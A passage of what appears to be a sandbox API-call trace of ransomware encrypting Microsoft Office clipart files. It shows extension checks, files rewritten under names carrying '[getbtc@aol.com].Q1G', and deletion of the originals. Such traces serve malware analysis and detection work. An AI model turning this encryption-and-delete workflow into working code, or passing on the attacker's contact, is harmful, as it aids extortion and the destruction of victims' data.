(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0246.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.916] lstrlenW (lpString=".doc") returned 4 [0246.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.916] lstrlenW (lpString=".docx") returned 5 [0246.916] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0246.916] lstrlenW (lpString=".pdf") returned 4 [0246.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.916] lstrlenW (lpString=".xls") returned 4 [0246.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.916] lstrlenW (lpString=".xlsx") returned 5 [0246.916] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0246.916] lstrlenW (lpString=".ppt") returned 4 [0246.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.917] lstrlenW (lpString=".zip") returned 4 [0246.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.917] lstrlenW (lpString=".rar") returned 4 [0246.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.917] lstrlenW (lpString=".bz2") returned 4 [0246.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.917] lstrlenW (lpString=".7z") returned 3 [0246.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.917] lstrlenW (lpString=".dbf") returned 4 [0246.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.917] lstrlenW (lpString=".1cd") returned 4 [0246.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.917] lstrlenW (lpString=".jpg") returned 4 [0246.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.917] lstrlenW (lpString=".doc") returned 4 [0246.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.917] lstrlenW (lpString=".docx") returned 5 [0246.917] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0246.917] lstrlenW (lpString=".pdf") returned 4 [0246.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.917] lstrlenW (lpString=".xls") returned 4 [0246.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.917] lstrlenW (lpString=".xlsx") returned 5 [0246.917] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0246.917] lstrlenW (lpString=".ppt") returned 4 [0246.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.917] lstrlenW (lpString=".zip") returned 4 [0246.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.918] lstrlenW (lpString=".rar") returned 4 [0246.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.918] lstrlenW (lpString=".bz2") returned 4 [0246.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.918] lstrlenW (lpString=".7z") returned 3 [0246.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.918] lstrlenW (lpString=".dbf") returned 4 [0246.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.918] lstrlenW (lpString=".1cd") returned 4 [0246.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0246.918] lstrlenW (lpString=".jpg") returned 4 [0246.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.918] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.918] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0246.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0246.919] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2262) returned 1 [0246.919] CloseHandle (hObject=0x324) returned 1 [0246.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0246.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0246.919] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.919] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0246.920] GetLastError () returned 0x0 [0246.920] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0246.921] WriteFile (in: hFile=0x3ac, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0246.922] ReadFile (in: hFile=0x324, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.922] WriteFile (in: hFile=0x3ac, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.922] SetEndOfFile (hFile=0x3ac) returned 1 [0246.922] CloseHandle (hObject=0x3ac) returned 1 [0246.922] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.922] SetEndOfFile (hFile=0x324) returned 1 [0246.926] CloseHandle (hObject=0x324) returned 1 [0246.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0246.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0246.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0246.927] lstrlenW (lpString=".doc") returned 4 [0246.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.927] lstrlenW (lpString=".docx") returned 5 [0246.927] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0246.927] lstrlenW (lpString=".pdf") returned 4 [0246.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.927] lstrlenW (lpString=".xls") returned 4 [0246.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.928] lstrlenW (lpString=".xlsx") returned 5 [0246.928] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0246.928] lstrlenW (lpString=".ppt") returned 4 [0246.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.132] lstrlenW (lpString=".zip") returned 4 [0247.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.132] lstrlenW (lpString=".rar") returned 4 [0247.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.132] lstrlenW (lpString=".bz2") returned 4 [0247.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.132] lstrlenW (lpString=".7z") returned 3 [0247.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.132] lstrlenW (lpString=".dbf") returned 4 [0247.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.132] lstrlenW (lpString=".1cd") returned 4 [0247.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.132] lstrlenW (lpString=".jpg") returned 4 [0247.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.133] lstrlenW (lpString=".doc") returned 4 [0247.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.133] lstrlenW (lpString=".docx") returned 5 [0247.133] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0247.133] lstrlenW (lpString=".pdf") returned 4 [0247.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.133] lstrlenW (lpString=".xls") returned 4 [0247.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.133] lstrlenW (lpString=".xlsx") returned 5 [0247.133] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0247.133] lstrlenW (lpString=".ppt") returned 4 [0247.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.133] lstrlenW (lpString=".zip") returned 4 [0247.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.133] lstrlenW (lpString=".rar") returned 4 [0247.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.133] lstrlenW (lpString=".bz2") returned 4 [0247.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.133] lstrlenW (lpString=".7z") returned 3 [0247.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.133] lstrlenW (lpString=".dbf") returned 4 [0247.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.133] lstrlenW (lpString=".1cd") returned 4 [0247.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0247.133] lstrlenW (lpString=".jpg") returned 4 [0247.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.133] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.134] lstrlenW (lpString="CLIP.WMF") returned 8 [0247.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.535] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2262) returned 1 [0247.535] CloseHandle (hObject=0x200) returned 1 [0247.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0247.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0247.582] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.582] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0247.584] GetLastError () returned 0x0 [0247.584] ReadFile (in: hFile=0x3b4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0247.618] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0247.618] ReadFile (in: hFile=0x3b4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.619] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0247.619] SetEndOfFile (hFile=0x390) returned 1 [0247.619] CloseHandle (hObject=0x390) returned 1 [0247.619] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.619] SetEndOfFile (hFile=0x3b4) returned 1 [0247.621] CloseHandle (hObject=0x3b4) returned 1 [0247.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 1 [0247.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.622] lstrlenW (lpString=".doc") returned 4 [0247.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.622] lstrlenW (lpString=".docx") returned 5 [0247.622] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0247.622] lstrlenW (lpString=".pdf") returned 4 [0247.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.622] lstrlenW (lpString=".xls") returned 4 [0247.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.622] lstrlenW (lpString=".xlsx") returned 5 [0247.622] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0247.622] lstrlenW (lpString=".ppt") returned 4 [0247.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.622] lstrlenW (lpString=".zip") returned 4 [0247.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.622] lstrlenW (lpString=".rar") returned 4 [0247.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.622] lstrlenW (lpString=".bz2") returned 4 [0247.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.622] lstrlenW (lpString=".7z") returned 3 [0247.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.623] lstrlenW (lpString=".dbf") returned 4 [0247.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.623] lstrlenW (lpString=".1cd") returned 4 [0247.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.623] lstrlenW (lpString=".jpg") returned 4 [0247.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.623] lstrlenW (lpString=".doc") returned 4 [0247.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.623] lstrlenW (lpString=".docx") returned 5 [0247.623] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0247.623] lstrlenW (lpString=".pdf") returned 4 [0247.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.623] lstrlenW (lpString=".xls") returned 4 [0247.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.623] lstrlenW (lpString=".xlsx") returned 5 [0247.623] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0247.623] lstrlenW (lpString=".ppt") returned 4 [0247.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.623] lstrlenW (lpString=".zip") returned 4 [0247.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.623] lstrlenW (lpString=".rar") returned 4 [0247.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.623] lstrlenW (lpString=".bz2") returned 4 [0247.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.623] lstrlenW (lpString=".7z") returned 3 [0247.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.623] lstrlenW (lpString=".dbf") returned 4 [0247.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.623] lstrlenW (lpString=".1cd") returned 4 [0247.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0247.624] lstrlenW (lpString=".jpg") returned 4 [0247.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.624] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.624] lstrlenW (lpString="DD00405_.WMF") returned 12 [0247.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.644] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=17584) returned 1 [0247.644] CloseHandle (hObject=0x3a0) returned 1 [0247.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0247.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.647] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.647] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.647] GetLastError () returned 0x0 [0247.647] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x44b0, lpOverlapped=0x0) returned 1 [0247.651] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x44c0, lpOverlapped=0x0) returned 1 [0247.652] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.652] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.652] SetEndOfFile (hFile=0x3c0) returned 1 [0247.652] CloseHandle (hObject=0x3c0) returned 1 [0247.652] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.652] SetEndOfFile (hFile=0x3a0) returned 1 [0247.655] CloseHandle (hObject=0x3a0) returned 1 [0247.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0247.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.656] lstrlenW (lpString=".doc") returned 4 [0247.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.656] lstrlenW (lpString=".docx") returned 5 [0247.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.656] lstrlenW (lpString=".pdf") returned 